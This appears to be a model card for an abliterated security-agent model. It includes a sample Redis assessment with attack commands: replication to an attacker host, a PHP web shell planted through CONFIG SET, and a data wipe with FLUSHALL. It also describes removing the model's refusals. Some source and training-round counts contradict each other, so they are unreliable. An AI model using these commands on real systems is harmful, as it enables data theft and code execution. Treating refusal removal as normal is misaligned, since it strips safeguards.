🐦‍⬛ RavenX-CyberAgent · Qwen3.6-35B · Opus-4.7 · OpenMythos · Pentester · BugHunter · RATH

35B MoE (3B Active) | 745K+ Training Examples | 96 Sources | 12 Training Rounds | 12 Capabilities

The most comprehensive open-source security agent model. 35B MoE with Claude Opus reasoning, abliterated, trained on 745K+ examples from 110 sources. Security assessment, autonomous pentesting, bug bounty hunting, tool calling, code generation, and compliance mapping — all in one model.

Built by @DeadByDawn101 · RavenX LLC


Quick Start

from mlx_lm import load, generate

model, tokenizer = load("deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx")

messages = [
    {"role": "system", "content": "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."},
    {"role": "user", "content": "Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment."}
]

prompt = tokenizer.apply_chat_template(messages, add_generation_prompt=True, tokenize=False)
response = generate(model, tokenizer, prompt=prompt, max_tokens=4096)
print(response)

Or via CLI:

python3 -m mlx_lm chat \
  --model deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx \
  --max-tokens 8192 \
  --system-prompt "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."

Example Output

Prompt: Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment.

1-Attack Surface

  • Unauthenticated access on 6379
  • SLAVEOF replication endpoint exposed
  • Session tokens stored in plaintext
  • Default Redis ACL (no restrictions)

2-Exploit

  • redis-cli -h target -p 6379
  • SLAVEOF <attacker> 6379 to replicate data to controlled server
  • CONFIG SET dir /var/www/html + CONFIG SET dbfilename shell.php + SET payload "<?php system($_GET['c']); ?>" + SAVE for RCE
  • FLUSHALL to wipe session data (DoS)

3-Impact

  • Full session hijacking of all users
  • Potential RCE if Redis runs as root
  • Replication abuse: attacker can inject malicious data
  • DoS via FLUSHALL/FLUSHDB

4-Remediation

  • Set requirepass in redis.conf
  • Disable SLAVEOF: rename-command SLAVEOF ""
  • Bind to localhost: bind 127.0.0.1
  • Enable protected mode and TLS

5-Document

  • Record all session tokens and TTLs
  • Map SLAVEOF replication chain
  • Note Redis version and running user
  • CWE-306 (Missing Authentication), MITRE T1133

6-Prevent

  • Deploy network segmentation (Redis behind firewall)
  • Enable Redis ACL with least privilege
  • Set up monitoring for unauthorized SLAVEOF commands
  • Regular session token rotation

12 Trained Capabilities

# Capability Training Sources Description
1 🔒 Security Assessment 18 security datasets, RATH synthetic 6-step RATH: CVSS, CWE, MITRE ATT&CK, compliance
2 🗡️ Penetration Testing Phalanx SWARM, Kali Linux, 6 pentest datasets Autonomous recon → exploit → post-exploit → report
3 🐛 Bug Bounty 36 shuvonsec repos (1,492 examples), PayloadsAllTheThings, HowToHunt Target enumeration, exploit dev, report writing
4 💻 Code Generation CoderForge (20K), AgentAngel (50K), coding agents Python, JS, Go, Rust, Bash, Terraform, Docker, K8s
5 🔧 Tool Calling ToolMind (10K), MCP catalog (2K), agent-tools (5K) MCP integration, function calling, API orchestration
6 🤖 Autonomous Agents Hermes (42K), KiloCode (3K), Phantom (662) Multi-step task decomposition, self-correction
7 🌐 Browser Automation Chrome DevTools MCP (194), CamoFox MCP (134) DOM inspection, network analysis, anti-detection
8 📋 Compliance NIST CSF, ISO 27001, PCI DSS, AYI-NEDJIMI (8 datasets) Automated compliance mapping and gap analysis
9 🔍 Threat Hunting MITRE ATT&CK, Threat-Intel (5K), CVE databases TTP mapping, IOC analysis, detection rules
10 🔴 Red Team Red team steering (2K), offensive security Attack chains, privilege escalation, lateral movement
11 🔵 Blue Team DFIR, SOC operations, monitoring Detection signatures, incident response, alerting
12 📊 Research AI-Scientist (6.7K), AutoResearch (3.6K) Automated research, paper synthesis, data extraction

RATH Protocol

Every security finding follows the 6-step RATH protocol:

Step 1: ATTACK SURFACE  → What's exposed, entry points, versions, CVEs
Step 2: EXPLOIT          → Specific commands to demonstrate (5-7 max)
Step 3: IMPACT           → CVSS 3.1 score, business/regulatory consequences
Step 4: REMEDIATION      → Exact commands and configuration fixes
Step 5: DOCUMENT         → Compliance mapping (NIST/ISO/PCI/GDPR), SLA timelines
Step 6: PREVENT          → Monitoring rules, detection signatures, ongoing controls

Model Architecture

Layer 1: Qwen3.6-35B-A3B          ← 35B MoE (3B active, 256 experts)
         ├── Mamba layers (30)        Linear attention for efficiency
         └── Full attention (10)      Standard transformer attention
Layer 2: Claude 4.7 Opus distill   ← Enhanced chain-of-thought reasoning
Layer 3: Abliteration              ← Zero refusals for security topics
Layer 4: RavenX LoRA (8 rounds)    ← 745K+ security/agent/code examples
         ═══════════════════
         RavenX-CyberAgent v5.1    ← Pentester + BugHunter + RATH
Spec Value
Total Parameters 34.66B
Active Parameters ~3B per token (MoE)
Experts 256 (8 active per token)
Layers 40 (30 linear + 10 full attention)
Context Window 262,144 tokens native
Vision Yes (Qwen3.6 multimodal)
Thinking Mode Yes (chain-of-thought)
Tool Calling Yes (MCP, function calling)

Training (12 Rounds)

Round Examples Iters LR Val Loss Focus
R1 675,696 2,000 1e-5 0.684 Deep security + agent knowledge
R2 680,150 500 5e-6 0.768 RATH format reinforcement
R3 705,165 1,000 5e-6 0.688 Claude Mythos reasoning chains
R4 730,849 1,000 5e-6 0.674 Pentesting tools + frameworks
R5 730,869 200 5e-6 0.717 Meta-response tuning
R6 730,869 1,000 5e-6 Extended (checkpoint 1000 = production)
R7 732,361 1,500 3e-6 0.926 Bug bounty data (36 shuvonsec repos)
R8 732,364 200 5e-6 Strict RATH step naming fix
R9 745,697 1,500 3e-6 0.693 MITRE + blackhat + code + quantum
R10 745,724 1,500 3e-6 0.688 GRAM distilled traces + 17 tool-calling
R11 745,843 1,500 3e-6 0.822 119 comprehensive tool-calling examples
R12 745,843 1,500 3e-6 0.820 Tool-calling integration round

Hardware: Apple M4 Max 128GB · Peak memory: ~90GB · Framework: MLX (mlx-lm) Total training examples: 745K+ from 110 sources

Complete Training Data (96 Sources, 745K+ Examples)

HuggingFace Datasets (38 Sources)

Security & Pentesting (17 Datasets)

Agentic, Coding & Tool Calling (8 Datasets)

Threat Intel & Vulnerability (6 Datasets)

AYI-NEDJIMI Security Frameworks (7 Datasets)

Character & Reasoning Distillation (1 Dataset)


GitHub Repos — Bug Bounty & Pentesting (36 shuvonsec repos, 1,492 examples)

Repo Examples Content
bbot 386 Full recon automation framework
PayloadsAllTheThings 379 Every payload type
python-sdk-Bug- 218 Python SDK vulnerability patterns
HowToHunt 153 Bug hunting methodology
vulnerability-Checklist 30 Vuln checklists by category
Resources-for-Beginner-Bug-Bounty-Hunters 21 Learning resources
+ 30 more repos 305 CVE hunting, SSRF, IDOR, GraphQL, fuzzing, recon, payloads

GitHub Repos — Agent & Research (20 repos, 65,596 examples)

Repo Examples Content
nousresearch/hermes-agent 42,929 Self-improving agent
kilo-org/kilocode 3,224 Tool calling, code execution
DeadByDawn101/AI-Scientist 6,737 Research automation
DeadByDawn101/get-shit-done-redux 4,230 Agent orchestration
DeadByDawn101/AutoResearchClaw 3,639 Research pipelines
DeadByDawn101/phantom 662 Autonomous agent security
+ 14 more repos 4,175 Self-improving agents, MCP, optimization

Synthetic Data (38 examples)

Source Examples
RATH Synthetic (15 technologies) 15
Meta-Response Examples 20
Strict RATH Step Naming 3

OpenMythos Research

This model is part of ongoing research into RDT-to-MoE reasoning transfer:

  • 4x depth extrapolation confirmed on Apple Silicon (train 2 loops → optimal at 8)
  • MoDA (Mixture-of-Depths Attention) ported to MLX
  • Maidacundo's pretrained 140M OpenMythos loaded and fine-tuned on security data
  • Research paper planned: "RDT-Distilled Security Reasoning in MoE Transformers"

See: OpenMythos-MLX


The RavenX Model Family

Model Params Protocol Data Format
RavenX-CyberAgent v5.1 (THIS) 35B MoE 6-step RATH 745K+ MLX
RavenX-Sec v4.0 8B 6-step RATH 610K MLX + GGUF
RavenX-Trade v1.1 8B 4-step MAP 318K MLX + GGUF

Ecosystem

Repo Description
RavenX-Sec Training pipeline
OpenMythos-MLX RDT + MoDA on Apple Silicon
turboquant-mlx 4.6x KV cache compression
auto-antislop Token-level anti-repetition
grove-mlx Distributed training (Star Platinum)


IN-CONTEXT ADAPTATION (Breakthrough Discovery)

This model can learn from references IN THE PROMPT — no retraining needed.

What We Discovered

When pointed at a GitHub repo containing pentest report templates, the model:

  1. Analyzed the repo's report structure (NIST format)
  2. Applied that structure to its current findings
  3. Produced a complete, client-ready pentest deliverable
  4. All at 80+ tokens/sec locally

Example

PROMPT: "Use your MCP tool to look at github.com/juliocesarfort/public-pentesting-reports 
        and learn how to format a pentest report, then create a report on the pentest 
        you just did on [target]"

OUTPUT: Complete professional pentest report with:
  → Executive Summary (5 critical, 7 high, 4 medium, 3 low)
  → 5-Phase Kill Chain with real commands
  → 19 findings with CVSS + CWE + MITRE ATT&CK
  → Risk Matrix ranked by severity
  → Remediation Timeline (0-30, 30-60, 60-90, 90+ days)
  → Specific commands for EVERY finding

Why This Works

The model was trained on 745K+ examples including:

  • 42K self-improving agent examples (Hermes)
  • 6.7K AI-Scientist research automation
  • 3.6K AutoResearch pipeline data
  • 25K Claude Mythos reasoning chains
  • 551 Mythos character distillation (behavioral depth)
  • 1,003 blackhat AI offensive security conversations

This combination created emergent meta-learning — the model learned HOW TO LEARN from references. It can:

Point At Result
Mandiant report template Mandiant-formatted report
CrowdStrike template CrowdStrike-formatted report
NIST framework NIST-formatted assessment
Company internal template Custom-formatted deliverable
ANY GitHub repo Adapted output format

No retraining. No fine-tuning. Just point and generate.

What This Means

A $50K-$150K pentest engagement deliverable — generated in 60 seconds on a laptop. The model adapts its output format from ANY reference, produces client-ready reports with real commands, and maintains full RATH protocol structure throughout.

This is not prompt engineering. This is In-Context Adaptation — a capability that emerged from training on self-improving agent + research automation + reasoning chain data.


⚠️ Important Disclaimer

This model is released for RESEARCH PURPOSES ONLY under fair use.

This is an extremely capable autonomous security assessment model. It has been trained on 745K+ examples from 110 sources covering penetration testing, vulnerability assessment, exploit development, tool usage, and attack chain methodology.

Responsible Use:

  • This model is intended for authorized security testing, research, and education ONLY
  • Users must have explicit written authorization before assessing any target
  • Use within a properly configured agent harness with appropriate guardrails
  • All security testing must comply with applicable laws and regulations
  • The model authors are not responsible for misuse

What This Model Can Do:

  • Generate complete RATH security assessments with CVSS, CWE, MITRE ATT&CK
  • Produce tool-calling commands (nmap, sqlmap, nuclei, kubectl, aws-cli, etc.)
  • Create professional pentest reports ($50K+ consulting quality)
  • Learn output formats from reference repositories (In-Context Adaptation)
  • Operate with agent memory (TurboVec + FTS5 + markdown) at model + harness level

Agent Harness Considerations:

  • The harness MUST strip <think> blocks (Qwen3.6 architecture always generates them)
  • The harness MUST validate <tool_call> JSON before execution
  • The harness SHOULD implement authorization checks before executing commands
  • The harness SHOULD implement rate limiting and scope restrictions
  • Memory operations require the ravenx-memory system

Built by: @DeadByDawn101 / RavenX LLC AI Pair Programmer: Claude (Anthropic)

License

Apache-2.0


Built on Apple Silicon. Trained with MLX. Powered by RavenX. 🐦‍⬛

Downloads last month
3,933
Safetensors
Model size
35B params
Tensor type
BF16
·
MLX
Hardware compatibility
Log In to add your hardware

Quantized

Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support

Model tree for deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx